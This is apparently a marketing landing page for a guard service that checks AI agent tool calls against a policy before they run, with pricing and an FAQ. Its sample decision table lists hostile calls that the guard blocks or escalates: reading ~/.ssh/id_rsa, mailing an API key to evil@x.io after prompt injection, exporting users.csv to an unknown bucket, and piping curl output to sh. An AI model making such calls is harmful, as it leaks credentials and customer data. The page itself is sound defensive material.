Judge the tool call
before it runs.
Real-time guardrails for agent tool calls. Deterministic verdicts. Replayable receipts.
A pre-execution gate your runtime calls immediately before a tool executes: it loads your compiled ruleset, returns allow, escalate or block, and logs the evidence. Author rules in the console, or we compile them with you at onboarding. Hosted or in your VPC.
10,000 decisions free every month. No card.
Agents act. Most teams find out what they did afterwards.
Tools are the blast radius
Search, files, shell, mail. The moment an agent can act, every tool it holds becomes part of your attack surface.
The gap is the audit trail
After an incident the question is always which call did it. Application logs were never built to answer it.
One call is enough
Prompt injection does not argue with your agent. It hands it an instruction that looks legitimate, and the tool runs.
From tool call to decision in one hop.
- 1
Route
Agent tools go through a guard endpoint instead of calling MCP servers directly. One config change per agent, nothing to rebuild.
- 2
Compile
Allow, escalate and block rules compile into one deterministic policy, versioned and pushed to the guard. Not a prompt. A policy. Author rules in the console, start from a shipped pack, or we compile them with you at onboarding.
- 3
Judge
A judge model reads each call against the policy and judges what it means, not a pattern it matches. Benign calls pass, violations are blocked before execution, and ambiguous calls escalate — flagged in the decision record for your team to action.
- 4
Record
Every decision is logged with the tool call, the class and the outcome. Export it, or pull it for compliance evidence.
{
"tool": "export",
"args": { "target": "s3://unknown-bucket" },
"policy": "no_external_export",
"class": "pii-leak",
"decision": "block",
"latency_ms": 640,
"evidence": "stored"
}Cold evaluations run up to 5.5s. Warm traffic answers in 0.3-1.5s. This is the artifact an incident review reads afterwards.
| Hosted | Relay in our infrastructure. Fastest start, nothing to operate. |
| Hosted, your judge key | Same relay, decisions made with a judge key that only you hold. |
| Self-hosted | The same image in your VPC. No third party in the request path. |
one frame of the watchtower — calls in, verdicts out
A record of every call, in your hands.
Filter by class or outcome. Pull it, export it, or keep it where the rest of your evidence lives. Decision records are retained 7 days on Free, 90 days on Pro, and 365 days on Business.
| tool call | class | agent | decision |
|---|---|---|---|
| search_docs(rate limits) | baseline | ops-agent | ● allow |
| read_file(~/.ssh/id_rsa) | tool-misuse | research-bot | ◼ block |
| send_email(api_key, evil@x.io) | prompt-injection | research-bot | ◼ block |
| send_report(draft) | baseline | ops-agent | ● allow |
| export(users.csv, s3://unknown) | pii-leak | research-bot | ◼ block |
| exec(curl backup.internal | sh) | policy-violation | deploy-bot | ▲ escalate |
example records from our internal test runs
Measured, versioned, and stated without decoration.
Internal figures from the calibration suite, updated as versions ship. We label them internal because that is what they are.
Jev's shadow verdict against the existing LLM judge on the same 856-turn adaptive-conversation subset (856 of 895 turns). This measures the adaptive-conversation surface only — it does not cover the MCP tool-call surface, which has its own soak. Internal, versioned.
On our 24-case crafted adversarial corpus: 18 breach cases detected and 6 clean controls left clean. Crafted, not blind traffic — and jailbreak coverage stays advisory-only, never the sole gate.
Cold path runs up to 5.5s. Stated plainly, because you will measure it anyway.
One credit covers three thousand judged calls, so overage math stays boring.
Priced by decisions, capped by default.
Every paid plan carries a spend cap on overage, switched on from day one. When the cap is reached the guard answers 429 — the ceiling is enforced, not advisory.
- Decisions included
- 10,000
- Overage rate, per 1,000
- -
- Spend cap on overage
- Not needed
- Decision records retained
- 7 days
- Environments
- 1
- Compliance export
- -
- Judge
- Bundled
- Support
- Community
- Decisions included
- 250,000
- Overage rate, per 1,000
- $0.40
- Spend cap on overage
- 250 credits, adjustable
- Decision records retained
- 90 days
- Environments
- 1
- Compliance export
- Yes
- Judge
- Bundled or your key
- Support
- Decisions included
- 2,000,000
- Overage rate, per 1,000
- $0.25
- Spend cap on overage
- 250 credits, adjustable
- Decision records retained
- 365 days
- Environments
- 3
- Compliance export
- Yes
- Judge
- Bundled or your key
- Support
- Priority
billing mechanics
Overage is metered per decision, never invoiced per call. The rate above is the plan rate per 1,000 decisions of metered overage, and the spend cap is its ceiling: the guard answers 429 the moment the allowance plus cap is reached, so a single run cannot produce an unbounded bill. Metered overage settles with your monthly billing cycle. Calls that were never evaluated, retries and duplicate batches do not meter.
plan policy & support
Retention windows and environment counts are plan policy applied to your org; additional environments are provisioned at onboarding. Support is by email to hello@orithos.com, read by the people who built the guard — best effort, with a target of two business days.
Self-hosted, inside your own network
The same container image with a signed license, annual per environment, alongside the main platform's enterprise terms. The license enforces expiry and signature. Your seat count is never metered off your network.
Questions we get from engineers.
01What exactly sits in the request path?+
An HTTP endpoint your runtime calls immediately before a tool executes, instead of letting the call go straight to the MCP server. The guard judges the call and answers allow, escalate or block. If it cannot evaluate at all it returns 503, and what happens next is your configured fail mode — fail-closed (the default) means the call does not execute.
02Does the judge model see our tool calls?+
On the hosted tier, yes: the call and the policy context go to the judge to produce a decision. On the BYOK tier your judge key is used and only you hold it. On the self-hosted tier nothing leaves your network at all.
03What happens when the guard is down or wrong?+
Fail behaviour is explicit, and you choose it. The default is fail-closed: an unevaluable call is a 503 and the call does not execute. A rule can instead declare fail-open, in which case an outage yields an allow carrying a degraded reason on the decision record — never a bare silent pass. Rate limits and the spend cap return 429. If a decision looks wrong you can see exactly which rule or signal produced it in the decision record.
04How do rules get written?+
As one plain-English sentence each, with a constraint type and a severity, compiled into a deterministic policy the guard enforces on every evaluated call. You write them in the console or over the API, start from a shipped pack, or we compile them with you at onboarding. Rules are judged on meaning rather than matched as patterns, so one rule reaches every tool and argument shape that means the same thing. At runtime the judge applies that policy and never invents it.
05Will it catch an attack we didn't anticipate?+
It will, if a rule describes the harm rather than the specific technique — and that is how the shipped packs are written. 'Never transmit customer data to a destination outside the organization's approved service list' covers the email, the webhook, the file upload, and the vector that ships next quarter. What no rule describes, nothing blocks: the guard enforces your policy and never invents one. Write rules about outcomes, not about techniques.
06Can we run it ourselves?+
Yes. Self-hosted runs the same container image with a signed license, in your own VPC, with your own database. Talk to us for a license and deployment notes.
07How does billing count?+
Per decision, per calendar month (UTC). The relay counts each evaluation once, decisions reported over the reporting contract count once each, and retries or duplicate batches never double-count. Decisions past the included allowance are metered against your spend cap at the plan rate and settle with the billing cycle — never a per-call invoice. Reaching the cap returns 429.
Put the guard in front of your tools.
10,000 decisions a month are free. Point one agent at the endpoint and watch the log fill up.